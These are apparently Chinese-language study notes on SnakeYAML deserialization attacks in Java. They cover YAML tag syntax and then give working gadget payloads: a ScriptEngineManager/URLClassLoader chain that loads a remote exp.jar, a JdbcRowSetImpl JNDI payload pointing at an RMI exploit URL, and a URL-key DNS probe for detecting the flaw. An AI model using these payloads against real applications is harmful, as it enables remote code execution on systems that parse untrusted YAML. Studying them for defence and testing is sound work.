dump、load
Yaml.dump, Yaml.load 对应序列化反序列化,把 java 对象变成 yaml 格式
对于非 public 属性,dump 会调用对应的 getter,load 会调用对应 setter public 属性直接反射设置
load 时会反射调用类的无参构造函数,加载类时会触发 static 代码块
语法
基础 yaml 语法:
none: null
bool: true
int: 42
float: 3.14
map:
key: value
list: # 也可以用 list: [item1, item2]
- item1
- item2
objectList:
- name: tom
age: 18
- name: jerry
age: 20
inlineList: [a, b, c]
inlineMap: {host: localhost, port: 3306}
multiLine: |
line1
line2
!! 标签
将反序列化结果(Map)映射到某个类上,返回一个对应的对象
!!User
name: mekrina
email: abc@abc.com
password: testtest
[] 指定初始化参数
不止可以使用无参构造函数创建对象,也可以用 [] 指定参数
!!java.net.URLClassLoader [[
!!java.net.URL ["http://localhost:8888/exp.jar"]
]]
会调用 URL(String.class) 方法创建 URL 对象,然后调用 URLClassLoader(URL[] urls) 创建 URLClassLoader,外面一层 [ 是指定参数,里面一层是表示列表
ScriptEngineManager SPI
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8888/exp.jar"]
]]
]
ScriptEngineManager 在初始化时,会根据传入的 classLoader 去对应的 jar 中找 ScriptEngineFactory 的实现类。
这个 SPI Jar 结构如下,用 mvn 打包
src
└── main
├── java
│ └── demo
│ ├── MyScriptEngine.java
│ └── MyScriptEngineFactory.java
└── resources
└── META-INF
└── services
└── javax.script.ScriptEngineFactory
javax.script.ScriptEngineFactory 文件里面写 demo.MyScriptEngineFactory
at java.util.ServiceLoader$LazyClassPathLookupIterator.nextProviderClass(ServiceLoader.java:1206)
at java.util.ServiceLoader$LazyClassPathLookupIterator.hasNextService(ServiceLoader.java:1221)
at java.util.ServiceLoader$LazyClassPathLookupIterator.hasNext(ServiceLoader.java:1265)
at java.util.ServiceLoader$2.hasNext(ServiceLoader.java:1300)
at java.util.ServiceLoader$3.hasNext(ServiceLoader.java:1385)
at javax.script.ScriptEngineManager.initEngines(ScriptEngineManager.java:123)
at javax.script.ScriptEngineManager.init(ScriptEngineManager.java:87)
at javax.script.ScriptEngineManager.<init>(ScriptEngineManager.java:75)
at Test.main(Test.java:14)
parse 中打开 URL JAR,并获取 services 下的对应文件,获取其中的类名,然后用 Class.forName 加载类,这里 initialize = false


后续会获取构造函数并实例化。
JdbcRowSetImpl
JNDI
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "rmi://localhost:11099/Exploit"
autoCommit: true
其他
todo…
spring、xbean、C3P0、commons-configuration 的 JNDI
C3P0 二次反序列化
漏洞探测
URL 作为键,生成 hashMap,执行 URL.equals,触发 dns 解析
!!java.net.URL ["http://hey.r.mekrina.tech/"]: 1